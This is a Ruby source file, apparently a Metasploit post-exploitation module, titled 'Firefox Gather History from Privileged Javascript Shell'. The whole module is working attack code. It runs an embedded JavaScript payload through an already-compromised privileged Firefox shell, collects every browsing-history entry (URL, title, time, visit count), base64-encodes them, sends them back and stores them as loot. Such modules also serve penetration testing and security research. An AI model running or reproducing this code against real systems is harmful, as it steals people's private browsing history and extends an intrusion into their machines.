85 lines
2.4 KiB
Ruby
85 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'json'
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class MetasploitModule < Msf::Post
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include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Firefox Gather History from Privileged Javascript Shell',
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'Description' => %q{
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This module allows collection of the entire browser history from a Firefox
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Privileged Javascript Shell.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'joev' ],
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'DisclosureDate' => 'Apr 11 2014'
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))
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register_options([
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OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
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])
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end
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def run
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results = js_exec(js_payload)
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if results.present?
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begin
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history = JSON.parse(results)
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history.each do |entry|
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entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) }
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end
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file = store_loot("firefox.history.json", "text/json", rhost, history.to_json)
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print_good("Saved #{history.length} history entries to #{file}")
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rescue JSON::ParserError => e
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print_warning(results)
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end
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end
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end
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def js_payload
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%Q|
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(function(send){
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try {
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var service = Components
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.classes["@mozilla.org/browser/nav-history-service;1"]
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.getService(Components.interfaces.nsINavHistoryService);
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var b64 = Components.utils.import("resource://gre/modules/Services.jsm").btoa;
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var query = service.getNewQuery();
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var options = service.getNewQueryOptions();
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var result = service.executeQuery(query, options);
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var fields = [];
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var entries = [];
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var root = result.root;
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root.containerOpen = true;
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for (var i = 0; i < result.root.childCount; ++i) {
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var child = result.root.getChild(i);
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if (child.type == child.RESULT_TYPE_URI) {
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entries.push({
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uri: b64(child.uri),
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title: b64(child.title),
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time: b64(child.time),
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accessCount: b64(child.accessCount)
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});
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}
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}
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result.root.containerOpen = false;
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send(JSON.stringify(entries));
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} catch (e) {
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send(e);
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}
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})(this.send);
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|.strip
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end
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end
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